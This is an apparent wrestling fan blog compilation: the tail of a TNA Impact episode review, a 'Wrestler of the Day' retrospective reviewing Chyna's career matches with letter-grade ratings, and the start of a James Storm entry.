Brittany wants Madison Rayne’s help against the Beautiful People tonight. Madison tells her to not have the match and Brittany reluctantly agrees.

Gunner/Mr. Anderson vs. BroMans

The BroMans jump Gunner and Anderson to start and it’s Gunner in early trouble. Double teaming ensues and Robbie gets two off a middle rope knee drop. Gunner comes back with a bad looking fall away slam and it’s off to Anderson to clean house. Everything breaks down and the Mic Check sets up a top rope headbutt from Gunner for the pin on Robbie at 3:14.

Rating: D. Just a glorified squash here as Anderson vs. Gunner seems to be an upcoming story, even though Anderson vs. Storm was set up over the last few weeks. The BroMans have gone from Tag Team Champions to jobber tag team in just a few weeks, even though there’s almost no one to challenge the Wolves.

Post match the Menagerie comes out to freak out the BroMans. The goofy guys (the BroMans if that’s not clear) get destroyed.

Gail Kim agrees to be Brittany’s partner.

Here are Dixie and Ethan to call out MVP. The trio comes out and Dixie offers some help, but MVP says he’s got power and a title shot, so why does he need the Carters? Dixie threatens to go to Dallas and tell the board what kind of abuse of power MVP has been showing. So the board of directors doesn’t even watch the show? MVP says he has a ton of money, which Dixie calls dirty. MVP says he’d love to play a game of money chicken and see who blinks first.

Eric and Bully come out with weapons but Ray says don’t do it and wait for the time and place. MVP says it won’t go well for the champion and Eric should just lose the title and go fish. Bully wants to go now but Eric stops him. “Time and place. Where were you a few seconds ago when you said that?” MVP makes Ray vs. Eric with EC3 as the referee. Ray says no but MVP threatens to fire him.

Ray says go ahead but Dixie asks who is going to pick up the pieces and fight her and MVP? Eric doesn’t have the ego or stomach to fight this war. Also, isn’t Bully from New York, because New Yorkers don’t quit. Ray says he’ll never quit until Dixie is gone. All the people want Dixie out of here forever and promises to put all five people in the ring through tables.

We look at EC3 injuring Angle’s knee a few weeks back. Earlier today, Angle said the knee rehab is going well even though he’s still in a cast. He thanks the fans for their support.

Beautiful People vs. Brittany/Gail Kim

Brittany comes out and then runs up the ramp to point at Gail during her entrance. Angelina pops Brittany with forearms and a shoulder to start before running shaking her hips a bit. Velvet comes in for some choking in the corner but Brittany trips her up for two. The Beautiful People take her back into the corner for some double teaming before Brittany finally dives over for the tag. Brittany tags herself in and says she has this, only to miss a Tajiri handspring into a moonsault. Angelina kicks her head off with the Botox Injection to give Velvet the pin at 5:40.

Rating: D+. Totally basic match here but the problem is the story. As I’ve been saying for weeks now, this is the same stuff we’ve been seeing forever with the Beautiful People and it hasn’t been interesting in forever. It’s like they’re just completely out of ideas and they’re doing the same stuff over and over again.

Ray says if he beats Eric he’ll be #1 contender. They respect each other though, because that’s just what you do in TNA.

After a break and Brittany is still in the ring. She calls Madison down for a talk and asks her why she wouldn’t team up against the Beautiful People tonight. Madison says this is getting weird for her. The issues with the Beautiful People have been going on for years and there are some things that only her and the Beautiful People know about. She won’t be responsible for Brittany being dragged into that. Brittany says she’ll accept responsibility and only wants to be with Madison.

Madison asks what Brittany just said and Brittany gets close to her and repeats it. Rayne shoves her away and says this just went a bit too far. Brittany needs to keep her distance but that’s too far. Brittany freaks out and asks why Madison doesn’t like her. Cue the Beautiful People who say that’s the real Madison Rayne and they made her that way. Madison says she’s not like either of them and that she’s coming for the Title next week.

The trio wants to do business with EC3 and he’s kind of interested.

Bully Ray vs. Eric Young

Non-title. King is guest ring announcers, EC3 is guest referee, Lashley is guest enforcer and MVP is guest timekeeper because this idea hasn’t been done to death before. Lashley is holding Eric’s title. Ray actually starts with an armdrag but Young nails a pair of his own before dropkicking Ray to the floor. King gets in a cheap shot but Young comes out to stand guard.

Back with the guys still being tentative and not wanting to fight each other while also having to watch the trio on the floor. Ray finally gets tired of dealing with it (and we’re running out of time) and kicks Carter in the face. The trio comes in and beats both guys down for a no contest at roughly 10:00. I’m not going to rate this as a lot of it was during the break and there was barely any wrestling at all.

Samoa Joe returns for the save and does the always awesome side step of a King dive. A MuscleBuster to King ends the show.

Overall Rating: D. Do you remember back in the Aces and 8’s clubhouse when they threw darts to pick out their next targets? TNA feels like they’ve put every old booking idea on a dart board and throw darts to pick what they put on the shows. This week’s show was better than last week’s as they had some other stuff get focus, but at the same time it had the same lack of energy that TNA constantly deals with.

Above all else though, the moment they lost me this week was when Dixie Carter said Ray didn’t have the ability to fight this war. I actually said out loud, “Why does it have to be a war?”. We just got done having a nearly two year war against Aces and 8’s, and now that team’s leader is on the other side of a war? Why do we need to do this same thing again? Between that and the two heel groups seeming to merge or at least have common goals (albeit with issues between the leaders), it feels like we’re doing the same thing that people complained about for over a year. Why would I want to watch that again?

Results
MVP/Kenny King/Bobby Lashley b. Wolves/Austin Aries – Drive By to Richards
Bram b. Tigre Uno – Impaler DDT
Gunner/Mr. Anderson b. BroMans – Flying headbutt to Robbie
Beautiful People b. Brittany/Gail Kim – Sky pinned Brittany after a Botox Injection from Love
Eric Young vs. Bully Ray went to a no contest when Kenny King, Bobby Lashley and MVP interfered

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Wrestler of the Day – May 4: Chyna

Treat this one for what it is. Today is Chyna.

Chyna would debut as HHH’s bodyguard back in 1997. She destroyed various people and joined DX along with Shawn Michaels and HHH. Eventually she would join them in the occasional match, with her first one coming on May 4, 1998’s Raw.

DOA/Legion of Doom vs. D-Generation X

8 man tag here. The referee throws out Sunny to take away the visual part of this. The Outlaws come out on mopeds. Lawler says he took some Viagra earlier today. Chyna is thrown out also. HHH says not so fast because she’s replacing X-Pac in the match. This is actually happening and it’s Animal vs. Road Dogg to get us going. A powerbomb is broken up but a powerslam hits for two. You figure out who did it to who.

Off to 8-Ball (how does Ross tell them apart?) but he gets beaten down by the future Game. Jerry tries to call this the first intergender match in company history. Not quite but I guess they’re trying to say mixed tag is different than intergender. Billy hits a Fameasser to take over and here’s Chyna to a POP. She busts out a hurricanrana for two but Skull shoves her off with ease.

We take a break and come back with HHH stomping away on one of the bikers but he gets caught in a powerslam for two. Hot tag brings in Hawk and Jerry thinks the LOD just wanted to keep the titles off the DOA. Chyna comes in again and goes up but Hawk knocks her to the floor. He gets a shot in the bird eggs for it and everything breaks down with a three on one DX beatdown to Hawk.

Off to Roadie again as this is getting some time. Billy comes in now and JR sings his praises. He charges after Hawk in the corner (Billy, not JR) and they ram heads which lets 8-Ball get the tag. The LOD and DOA get into a fight which was expected and DX watches (smart) from the ring. LOD gets in some chair shots but they’re only somewhat successful. The match is thrown out.

Rating: C-. This was just a way to get Chyna out there and set up the tag feud. This wasn’t much of note but the popularity of DX is certainly noteworthy. LOD vs. DOA would go on FOREVER and it was boring the entire time. Eventually Paul Ellering was brought in for some reason and it didn’t go anywhere else. Not much of a match.

Chyna would only wrestle once or twice in 1998 but would start competing more full time in 1999. One of her first major matches was when she was part of the Corporation. On May 11, 1999, she took part in the Corporate Rumble with the #30 spot in the Royal Rumble on the line.

Corporate Rumble

This is a mini-Rumble where the winner gets to be #30. We open with Shamrock vs. Billy Gunn (not in the Corporation so I guess this is an open field for some reason?) and after a break we’re ready to go. Oh apparently this is DX vs. the Corporation. Why would Vince agree to that? Shamrock kicks Gunn off the apron before Gunn gets in and DIVES ONTO THE FLOOR, eliminating himself in the process.

Shamrock pounds away on Billy as Shane cheers him on. The Boss Man is #3 and Billy is in big trouble already. Gunn comes back with a forearm but Boss Man chokes him down. Test is #4 (I think the intervals are about once a minute) to make it two on one. A big boot put Gunn down but they can’t eliminate him. Thankfully X-Pac is #5 but after only a few seconds, Test hiptosses Billy out.

The layout powerbomb puts Pac down but Road Dogg is #6. He’s still got the blood all over him and nothing happens until Kane is #7. A clothesline puts Roadie out and Pac is stuck 3-1. HHH is #8 and things speed up. Test accidentally hits Kane and gets knocked out as a result. HHH and Pac take out Kane but Pac is eliminated in the process. That leaves HHH vs. Boss Man….until Vince is a surprise entrant at #9.

Shane of course erupts as Vince sneaks in and eliminates both guys to seemingly win the thing. He tears his shirt off ala Hogan, but Chyna is another surprise entrant at #10. The place goes nuts but the Stooges won’t let her get in. Chyna decks both of them and here comes Austin. The distraction is enough to let Chyna throw Vince out (apparently knocking him out cold in the process) and get the #30 spot. Shane freaks to end the show.

Rating: D+. This is a hard one to grade because the wrestling barely existed, but the fan reaction was incredible, as Vince got a ton of heat but Chyna’s pop was even better. Good surprise here but as usual, it’s all about the payoff and nothing about the buildup to that payoff. Such is life in the Attitude Era.

Along with the Corporation, Chyna would go to war with DX, including this tag match at In Your House #27. HHH was livid at her for her betrayal and it’s time for revenge.

HHH/X-Pac vs. Kane/Chyna

HHH is all fired up for this one. He takes off the DX shirt to reveal a Chyna shirt which he rips to pieces. Shane McMahon comes out to do some commentary. HHH pounds away on Kane to start but is quickly clotheslined down. HHH comes back with a shot to the face and brings in X-Pac for some right hands, only to have Kane easily toss him into the corner to take over.

Chyna comes in with a forearm but misses a charge as this is the first man on woman match in WWF history. Chyna avoids the Bronco Buster and things slow down a bit until it’s back to Kane. HHH comes back in with a top rope fist to the face but goes after Chyna instead, allowing Kane to come back with the top rope clothesline for no cover. Chyna gets the tag and escapes a quick suplex attempt to slam HHH down in a nice power display.

Back to X-Pac to crank on the arm and avoid a charge in the corner, setting up a double suplex by DX. Chyna tries to come in off the top but gets launched off the top rope at Kane to keep DX in control. Kane is clotheslined to the floor as everything breaks down. X-Pac dives at Shane before heading back inside to get slammed down by Kane for no cover. Chyna comes back in with a running powerslam before Kane gets the tag and pounds away as well.

HHH is watching a bit too intently, allowing Chyna to blast him in the face before clotheslining X-Pac down for two. Chyna hooks a sleeper hold on X-Pac but gets taken down by a belly to back suplex. A hot tag brings in HHH and everything breaks down again. HHH hits the knee to Chyna’s face but Kane pulls him to the floor to prevent a Pedigree attempt. Chyna gets caught in the corner for the Bronco Buster but Shane sneaks in to jump X-Pac. X-Pac chases him to the back and HHH sends Kane into the steps. HHH loads up the Pedigree but Kane comes in with a chokeslam to give Chyna the easy pin.

Rating: D+. The match was all built around the story but the question is which story. That was the problem with this whole thing: it was such a mess with all the twists and turns that people stopped caring. Eventually at Wrestlemania, Chyna would turn face again to rejoin HHH but then literally less than an hour later they would both turn heel to join the Corporation. Think that’s enough twists and turns?

Chyna would continue doing stuff women didn’t often do by entering the 1999 King of the Ring.

King of the Ring Quarterfinals: Road Dogg vs. Chyna

Road Dogg has a “Down Where, Down There” shirt. Yeah they didn’t steal any of that from the NWO, not a thing. He does his standard intro which forever proves that wrestling doesn’t need to exist to get a character over. DX is more or less dead here as it’s just him and X-Pac. Chyna and HHH are heels now. Roadie got in over Godfather and Chyna over Val Venis.

For an idea on the in ring stuff at the time, none of the 8 qualifying matches went longer than 3 minutes. This is really just a way for Chyna to showcase herself and that’s fine. They start with a very nice hammerlock sequence. The thing that’s forgotten about Chyna is that she could wrestle. Killer Kowalski said she could so that’s pretty solid. I said that before Ross did so I’m happy.

She dominates for a decent while until we hit the floor and HHH slams Roadie into the post. We hear Chyna call a spot which happens at times so that’s ok. Chyna gets points for using a DDT so I like her more than I did for her looks. She steals the Road Dogg’s knee drop which makes me chuckle and gets her a lot of heat. It amazes me how far she fell. Road Dogg can’t really fight back here which is the storyline of the match, which makes a lot of sense actually.

And there’s your ref bump and HHH putting Chyna on top. Make your own jokes. It only gets two though to a GREAT pop. Now Commissioner Shawn comes out for no apparent reason other than to stop HHH. Road Dogg finally snaps and uses his regular offense as HHH is thrown out by Shawn. Chyna goes for her mega low blow but Road Dogg is wearing a metal cup which makes a lot of sense. The pumphandle ends it.

Rating: C+. There was some interesting stuff here. Chyna was a big deal on a semi national level so that’s always a cool thing. Road Dogg was showing he could actually put on a passable match, and the cup thing was smart but simple. This was certainly ok, but it could have been improved by being a few minutes shorter. It wasn’t bad at all though.

During the insanity that was 1999, Chyna found herself in a triple threat with Undertaker and HHH for the WWF Title shot at Summerslam 1999 on August 9, 1999’s Raw.

Chyna vs. Undertaker vs. HHH

Commissioner Shawn Michaels is guest referee for reasons that aren’t clear, falls count anywhere and JESSE VENTURA is guest commentator. HHH shoves Chyna down to start and hammers away on Undertaker in the corner. You know that’s fine with Undertaker as he throws HHH into the corner and pounds away before lifting Chyna in the air by the throat. Chyna rakes the eyes so Taker shoves her to the floor. HHH makes the save but gets kicked in the face and sent outside as well.

The guys fight on the ramp as the announcers talk about HHH being #1 contender coming in but having to defend it here. Jesse spends the entire match talking about how important this is because it’s for a chance to become World Heavyweight Champion. I love hearing commentators do that for a change. HHH and Undertaker come back inside where Chyna has to save HHH from a chokeslam.

She shoves HHH down and hits him low before walking into the softest chokeslam ever from Undertaker. The fans aren’t pleased and let the Dead Man know about it. The guys slug it out again as Steve Austin returns from being hospitalized earlier in the night. All three people are on the floor and here’s Austin to blast HHH in the head with a chair. He puts Chyna on top to send her to Summerslam in a huge upset.

Rating: D+. This would be the second of literally four or five #1 contenders matches which wound up seeing HHH and Mankind both getting the title shot. Chyna winning was there for a big shock while the other two punched each other for eight minutes. At the end of the day she was very popular so this win wasn’t a…..ok yeah this was a huge stretch but it’s not like it lasted.

Since she didn’t get to go after the World Title at Summerslam, she settled for going after the Intercontinental Title over the next few months. Her big showdown with champion Jeff Jarrett came at No Mercy 1999 in a Good Housekeeping match. The idea was that Jarrett thought Chyna should be cooking and cleaning and was going to prove it.

There’s one more interesting thing to this match. This match is, among other reasons, the main reason why Jarrett was thrown out of the WWF and told never to come back. In other words, TNA wouldn’t be around if not for this match. The thing was, this had been built up for months at this point. This more or less was the 3rd biggest match on the card. You could argue the 2nd biggest. One problem: Jarrett’s contract expired Saturday night or Friday or whenever.

Point is: he wasn’t under contract for Sunday and was the Intercontinental Champion. Vince has a major problem and Jarrett realizes it. So, Jarrett says pay him somewhere around $400,000 or he’s not showing up. He had Vince over a barrel so he got paid. The thing is, Jarrett did nothing wrong whatsoever.

Vince messed up here as he didn’t realize that he had a major issue coming up and he just let it go. Jarrett utilized supply and demand. There was a very high demand for his services and a small supply. He used simple economics and charged Vince a very high price tag for it. Not a thing wrong with it at all. Also, how many times do people get the better of Vince? I love that.

Intercontinental Title: Chyna vs. Jeff Jarrett

Remember this is more or less a weapons match with certain weapons only. Chyna, the liberated woman, is wearing a thong. Sure why not. Miss Kitty is amazing looking of course so that’s no shock. This is a glorified comedy match but that’s working for something like this as it fits the storyline pretty well. Chyna shoves a banana in Jarrett’s face while he has a toilet seat around his neck. See what I’m dealing with here?

All Chyna so far here until she misses an elbow from the apron through a table. She broke the salami that was on the table. Apparently this is falls count anywhere as well. Jarrett hits her in the back with a fish. Ok then. Chyna beats up Miss Kitty but gets caught in the figure four, which was Jarrett’s finisher at the time. Ah there are the ropes. Jarrett comes off the second rope and the tongs he has wind up on his balls.

We’ve got pies. You might notice there is no sort of wrestling or flow to this at all. Don’t bother looking for it as this is a glorified comedy match. Kitchen sink shot gets two. There goes the referee. Who says the late 90s were overbooked? Chyna takes the title to the face…and gets pinned? Apparently so.

BUT WAIT!

The referee says the IC Title isn’t a household item so he can’t use it for the pin. Chyna blasts him with a guitar and that’s ok for the pin and the title. Ok then. Kitty leaves with Chyna, leading to a weird semi-lesbian angle without ever saying that’s what it was.

Rating: C-. Not really a match but it ended the angle in a way that fit perfectly. I’m ok with that as it at least made sense. This was a solid blowoff to the match so that’s all I can ask for I guess. Jarrett would be in WCW in like a day or so, never to return again due to taking advantage of Vince’s error.

Chyna would start a rivalry with a newcomer named Chris Jericho, defending against him at Survivor Series 1999.

Intercontinental Title: Chyna vs. Chris Jericho

Jericho has only been around a few months and is challenging here. Chyna has Miss Kitty here who isn’t even hiding that she’s T&A here, coming out in a bikini and that’s it. Oh and boots. It’s a brawl to start and Kitty is shoved down because Jericho is a jerk. They head to the floor with Jericho’s knees going into the steps, but Chyna misses a dive off said steps to give the Canadian control.

Back in and Jericho gets hot shotted onto the ropes and put in the Tree of Woe. Chyna tries a German but Jericho kicks her low….with no effect because Chyna isn’t a guy. A standing rana takes Jericho down but he pops back up and clotheslines her to the floor. The springboard dive takes Chyna out again as JR talks about not being into the match due to what happened to Austin. For once this is an acceptable statement.

Jericho throws Chyna over the announce table and pours water over her head because Jericho is a jerk. Back in and a missile dropkick gets two for Jericho as does a small package for Chyna. Chyna tries to make a comeback but Jericho bulldogs him down for two and a BIG face pop. A spinwheel kick puts Chyna down and Jericho is swaggering. A clothesline puts Chyna on the floor and Kitty gets kissed.

Chyna comes back with a spear and posts Jericho as the crowd noticeably gets quieter. Back in and Jericho hits a layout powerbomb for two and Jericho is getting frustrated. Lionsault misses and Chyna hits the springboard elbow and a DDT for two. With about two minutes left, Lawler mentions a stipulation that Jericho will get a sex change if he loses. Keep those priorities straight guys.

With the referee down, a belt shot to the head gets two for Chris but Chyna comes back with a Pedigree for two of her own. Jericho puts her in the Walls but Chyna finally makes the rope. The place boos the submission being broken. Jericho loads up a superplex but a Kitty distraction lets Chyna hit him low and a Pedigree (kind of) off the top gets the pin to retain the title.

Rating: B. This took a bit to get going but they hit a groove in that ending sequence. The most important thing here though was Jericho wrestled her like any other opponent rather than making a spectacle out of her being a woman. These two would stay at it for awhile until Chyna went nuts and eventually started wrestling women, which was the downfall of her career. Well that and being nuts and HHH breaking up with her, but that’s another story.

Jericho would eventually take the title, before a rematch ended in a double pin. They were co-champions for awhile, until a match at the 2000 Royal Rumble would settle things. Hardcore Holly is thrown in for no apparent reason.

Intercontinental Title: Chris Jericho vs. Chyna vs. Hardcore Holly

You know Jericho is fired up to be in MSG. He talks about how awesome his championship celebration will be, as it will make the millennium celebration look like his sister’s seventh birthday party. Holly piefaces Chyna down to start before getting in a slap fight with Jericho. Chyna gets sent to the floor for the Slaughter fall, leaving the blondes to fight for a bit. Holly hits that perfect dropkick of his but Jericho comes back with the forearm.

They slug it out until Holly tries a rana (huh?), only to get caught in the Walls. Chyna makes the save, basically turning heel at the same time. Chyna sends Holly to the floor and gets drilled by Jericho. Holly and Chyna go to the floor where Jericho tries a dive but slips and only hits Holly. Back in and there’s the handspring elbow and DDT from Chyna to the Canadian for two. Everyone heads to the floor where Jericho saves Chyna from a chair shot. Back in and both champions go up for a kind of double splash for two.

They both tried for a cover and a fight breaks out as a result. Chyna escapes a belly to back suplex and hits Jericho low, followed by a Pedigree for two on Holly. Chyna goes up but gets caught in a modified Doomsday Device (cross body instead of a clothesline) for a very close two. That probably should have been the finish. Now Jericho loads up a superplex but gets crotched for his efforts. Holly gets superplexed by Chyna but gets two on her off the bounce. Chyna chairs Holly in the head and puts on the Walls, only to have Jericho break it up and hit the Lionsault for the undisputed title and a BIG pop.

Rating: C+. This was pretty good and too short to get bad. It could have been on Raw but see, back in 2000, there was this crazy idea of finishing angles on PPV. I know that’s insane now and everything ends in a big match on Raw or rather just stops happening one day, but back in the old days, they ended like this. Match was fine.

Chyna would soon get into a feud with the newly arrived Radicalz, facing them at Wrestlemania 2000 in a six person tag as she teamed with Too Cool.

Radicalz vs. Too Cool/Chyna

This would be Saturn/Malenko/Guerrero. They’re brand new at this point and Dean is already Light Heavyweight Champion. Too Cool was their first feud and it was a big enough deal that Too Cool rode it to a tag title reign in a few months. Eddie and Scotty start things off and Scott has his hat knocked off almost immediately. A tilt-a-whirl backbreaker puts Eddie down and it’s off to Chyna, sending Guerrero running off to Dean.

Malenko loads up a fast powerbomb but Scotty clotheslines him down to break it up. Chyna and the Grandmaster suplex Malenko down and it’s time to dance. Back to Eddie to face Grandmaster with Sexay hitting a quick suplex. Saturn breaks up the top rope legdrop though and the Radicalz take over. Perry comes in legally now and steals Grandmaster’s dew rag, somehow making him look even more ridiculous.

Eddie comes back in and allows Grandmaster to make a tag to Scotty. That goes badly for the non Radicalzas Scotty charges into a hot shot followed by the slingshot hilo for no cover. Grandmaster comes back in sans tag and throws Eddie to the floor as things fall apart. Scotty loads up a double Worm on Saturn and Malenko but an Eddie distraction lets them get back up. There’s no one in the ring at the moment until we get back to Scotty vs. Eddie. Perry comes back in and superkicks Hotty down.

A top rope elbow hits Scotty but again there’s no cover. Instead it’s back to Guerrero who goes up but takes too long, allowing Scotty to crotch him. A superplex puts both guys down and there’s the hot tag to Chyna. She cleans house with handspring elbows and a double low blow to Saturn and Malenko. Eddie decks her though, breaking part of her outfit in the process. Chyna escapes a powerbomb into one of her own, grabs Eddie’s crotch and slams him down before finishing him with a sleeper drop.

Rating: D+. This didn’t work for me for the most part but the main story of Chyna vs. Eddie was advanced which is the right idea. This would wind up meaning nothing (in a way) though as Chyna would fall victim to the Latino Heat the next day, starting a summer long relationship between the two. I guess that crotch grab changed her mind.

The following night on Raw, Eddie and Chyna would hook up and stay together for most of the summer. This is probably Chyna’s best story and is pretty well remembered. Eddie and Chyna would regularly team together, including this match on June 5, 2000 on Raw.

Godfather/Dean Malenko vs. Chyna/Eddie Guerrero

This is before Dean was a ladies man so it’s just an oddball team. Eddie interrupts the Godfather’s lines to tick off the fans. This is the followup to Eddie costing Godfather a match against Chyna on Heat. Godfather and Eddie start things off with Eddie being tossed into the corner but Chyna blocks the Ho Train.

Dean comes in and counters a rollup into a wheelbarrow suplex for two. A rana puts Malenko down and it’s off to Chyna whose DDT is easily countered by Dean. The handspring elbow connects with Malenko in the corner before it’s back to Eddie. Dean hiptosses him into the Godfather’s Ho’s, ticking off Chyna in the process. Back in and Eddie counters a tilt-a-whirl slam into a small package to pin Dean.

Rating: D+. Again this didn’t have any time to go anywhere but notice again that they’re putting a bunch of different acts out there to keep things from getting stale. Yeah we get some repetitive stuff in the back, but it’s a bunch of quick shots instead of long drawn out segments to dull the fans’ minds. In short: keep things moving rather than constantly putting the same stuff out there over and over again.

The pair would face Trish Stratus and Val Venis in a tag team match at Summerslam with Val’s Intercontinental Title on the line.

Intercontinental Title: Trish Stratus/Val Venis vs. Eddie Guerrero/Chyna

Val is champion and the first fall here gets the title, other than Trish that is. Trish’s little white shorts get a BIG pop as you would expect. The guys start things off with Eddie speeding things up and hitting a jumping back elbow for two. A snap suplex gets the same and Guerrero escapes a powerbomb before clotheslining Val down. Eddie catches Val’s kick to the ribs and whips him around into a Chyna clothesline.

A double flapjack puts Venis down for two and Chyna hits another clothesline for two. Trish tries to get in a cheap shot but the distraction allows Val to take over. A LOUD Chyna chant starts up but Val suplexes her down for two. Chyna avoids a middle rope elbow but her powerbomb is countered with a backdrop. Instead Chyna takes him down with a DDT and it’s back to Eddie to clean house. A springboard hurricanrana gets two on the champion but

Val drops him face first onto the buckle and puts Eddie down with a Blue Thunder Bomb. They headbutt each other to put both guys down but Trish tags herself in and gets two on Eddie. Jerry tries to give the blonde pointers but Eddie easily takes Trish down. Off to Chyna and the mauling is on, but Val breaks up the handspring elbow attempt. Chyna avoids a double team and Eddie pulls Val to the floor, allowing Chyna to gorilla press Trish for the pin and the title.

Rating: D+. The match was nothing but the girls looked good enough to carry it. This would be another part of a long storyline as Eddie would cost Chyna the title in about two weeks, accidentally stealing it for himself. Val would split with Trish after this and join up with the Right to Censor for the next few months. Not much to see here other than Trish in the shorts.

Eddie would get caught cheating on Chyna soon after this, leading to a feud between the two. One of their showdowns, albeit with three partners each, took place at Survivor Series 2000.

Radicalz vs. Team Chyna

Chris Benoit, Perry Saturn, Dean Malenko, Eddie Guerrero
Road Dogg, Billy Gunn, K-Kwik, Chyna

Kwik is R-Truth, which is what I’ll be referring to him as more than likely. Eddie is IC Champion and Dean is Light Heavyweight Champion. I would call this Team DX but they’re not together anymore. Saturn and Gunn get things going here but it’s quickly off to Chyna for a double suplex. Chyna pounds away in the corner as we’re waiting on the Eddie vs. Chyna showdown. A powerslam gets two on Saturn and there’s the handspring elbow but Saturn catches her. A DDT puts Saturn down but everything breaks down. Eddie hits Chyna in the back with a title belt and Saturn gets the easy pin.

Roadie comes in next but gets suplexed down almost immediately. Off to Eddie who pounds away and dropkicks Dogg’s knee out. Dean co

mes in but it’s quickly back to Eddie for a slingshot hilo onto the knee. Eddie goes up but runs his mouth too long, allowing Roadie to superplex him down. There’s the hot tag to Billy who immediately charges into a triple team in the Radicals’ corner. Smart guy that Billy. Billy fights them off and takes over on Eddie with a gorilla press and the One and Only (sleeper drop) for the pin and elimination.

Off to Dean vs. Truth with the latter flipping out of a hip toss. Truth tries a Downward Spiral but Dean falls backwards instead. Eh they screwed that one up. Off to Benoit who wants nothing to do with the hipping and the hopping so he Germans the tar out of Truth for the pin to make it 3-2. Off to Saturn vs. Road Dogg with the former taking over. Dean suplexes Dogg down for two and it’s back to Saturn for a northern lights suplex to get us down to Saturn/Benoit/Malenko vs. Billy.

Billy gets to fight Dean first with the Radicals taking over quickly. Benoit low bridges Billy but Saturn accidentally superkicks Benoit on the floor. Back in the ring Dean ducks his head and the Fameasser makes it 2-1. A Jackhammer gets two on Saturn as Benoit makes the save. Benoit hits the Swan Dive for two and the Wolverine is shocked on the kickout. Benoit is sent to the apron and Gunn tries to suplex him back in, only for the Warrior/Rude ending with Saturn tripping Billy and holding his foot for the pin.

Rating: C. This was fine but it never got to be anything interesting. Truth never worked in the WWF in his original run and the whole tandem rapping thing with Road Dogg didn’t work at all. Gunn was into that awkward singles stage of his which never worked the way the company wanted it to. Not bad here but it was nothing better than fine.

Chyna would hurt her neck soon after this and be forced to wrestle women. She would also pose in Playboy, causing the Right to Censor to freak out. This led to Chyna vs. RTC member Ivory for the Women’s Title at Wrestlemania X7.

Women’s Title: Chyna vs. Ivory

For one of the only times ever, Chyna looks great here. Ivory holds the belt to her face before the bell, but the referee is shoved away to let Ivory hit Chyna in the back with said title. Ivory gets in a few more shots but Chyna catches a boot in the corner. The destruction begins and Ivory is beaten down in the corner. A powerbomb kills Ivory dead but Chyna pulls her up at two. Instead it’s a gorilla press slam for the pin and the title. Chyna would bail on the company about a month later without ever losing the title.

Here’s a match I have to include for historical sake. From Raw on April 30, 2001.

Trish Stratus vs. Chyna

If this were like 4 years later, it could have been a featured PPV match. These two kind of missed in the timeline though. Trish is getting a lot of her signature looks and styles down but is wearing shorts instead of the long pants. Heyman does the sponsor ad for the Judgment Day PPV which would be Chyna’s last WWF match. Trish tries a charge and literally bounces off Chyna. This is domination even though Chyna doesn’t want to hurt her. Military press puts Trish down as does a jackknife, good for the pin. One of the most dominant squashes I’ve ever seen.

Chyna grabs the mic and says she doesn’t have much competition so she’s going to spank her opponents instead of pinning them. Cue Lita to a big old pop. She challenges Chyna and this actually approaches epic. Chyna squashed her because that’s all she did to the other Divas. The spanking thing was supposed to be….well I’m not sure what it was supposed to be. It was Chyna’s last American match for about 10 years.

And now, their match from Judgment Day 2001.

Women’s Title: Chyna vs. Lita

Lita is insanely over here. And here’s Chyna looking like a freaking peacock. That’s JR’s term, not mine. They hug before the match as I guess Lita is ok with Chyna being all evil to her and not seeming to take this seriously at all. This is power vs. speed here and both use their own better attribute to take over for a bit. Lita tries to help Chyna up and gets rolled up for two. Ok so she’s hot but not incredibly smart. Got it.

Chyna overpowers the match with ease to start but Lita gets a DDT for two. She finally wakes up and hammers away on Chyna. Middle rope clothesline gets two. Lita goes for the arm as this is getting sloppy. The fans are still in it though so they have that at least. Swinging neckbreaker by Chyna sets up a powerslam for two.

Lita channels her inner Alberto by hooking up a rolling cross armbreaker and Chyna is in real trouble all of a sudden. Chyna reverses into a headscissors and here’s Eddie for no apparent reason. She tries a powerbomb but Lita reverses into a horrible looking rana for two. And then a powerbomb by Chyna ends this clean. Nothing from Eddie other than standing there and Chyna more or less didn’t break a sweat.

Rating: D. This was supposed to be the big showdown? Chyna destroyed Lita here and made her look like a joke. This was Chyna’s last match in the company as she was taken off TV and the title was held up. She held the title until November anyway so there simply were no title matches for about six months. In short, Chyna destroyed the division and it took Trish and Lita to bring it back to whatever it was. Oh and this match was awful.

Chyna would go to Japan for awhile and do nothing of note. After going a bit insane, Chyna would make a one night return to wrestling in TNA, at Sacrifice 2011.

Jeff Jarrett/Karen Jarrett vs. Kurt Angle/Chyna

This should be….interesting. Christy points out that it’s guy on guy and girl on girl. Those exact words. TNA seems rather sexually frustrated tonight for some reason. Chyna looks like Captain America. We get a vague reference to Chyna and Jarrett feuding over the IC Title back in WWF without saying any of that of course. The guys start because we haven’t seen that in awhile right?

Loud Angle chant to start us off as Karen is about to cry. Chyna’s Gonna Kill You according to the crowd. Chyna gets tagged in and Karen hides on the floor. Jeff sneaks around and comes in as apparently he’s still legal so Kurt doesn’t have to be tagged in. Ankle lock goes on but Karen’s distraction leads to her being almost fed to Chyna. Gorgeous dropkick by Jeff puts Kurt down.

The fans want Chyna which means she might do a total of one move. Jeff and Kurt do the majority of the work here as you would expect them to. Kurt snaps back into it (OH YEAH!) and a belly to belly gets two. Angle Slam can’t hit and it’s Rolling Germans time. Jeff takes over again and says it’s over. Stroke is countered into the ankle lock but Jeff escapes. Angle Slam hits for two.

Chyna finally gets tagged in and (mostly) slams Jeff. Supelx looks a bit weird and Karen says I love you but no. Chyna goes after Karen in full on stalker mode but Karen walks into Kurt in the ring. Chyna gets her and hits a splash/clothesline in the corner. Pedigree hits and Tenay calls it a DDT. That has to be better than the powerbomb. Ankle lock goes on but Jeff won’t let her tap. Angle grabs one on Jarrett and Karen taps.

Rating: C. I’m not sure what to grade this so we’ll go with it right in the middle. While it wasn’t much, this was more or less exactly what they had to do. Chyna isn’t tested in the ring recently and Karen can’t wrestle so they let the guys have a quick match and let Chyna hit like two moves to end it. The feud is likely going to continue unless they had the weakest blowoff in recent memory. Not great, but exactly what it was destined to be.

Chyna is certainly an interesting case. She reached a point in 1999 where she stopped being a female wrestler and started being a wrestler who happened to be female. She was VERY over for awhile before going nuts and thinking she was way more valuable than she really was. I think she reached her peak as far as success, but that doesn’t mean she wasn’t very talented in her own right. The things she accomplished can’t be overlooked and the fact that no one has gotten close ever since says a lot.

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Wrestler of the Day – May 1: James Storm

Sorry about your luck. Today is James Storm.

This is going to be another one where I have to jump around a lot. Storm has just done so much in TNA that I have to skip over stuff.

Storm got started around 2000 and actually appeared in WCW. From Worldwide in June 2000.

3 Count vs. James Storm/Cassidy Riley/Air Paris

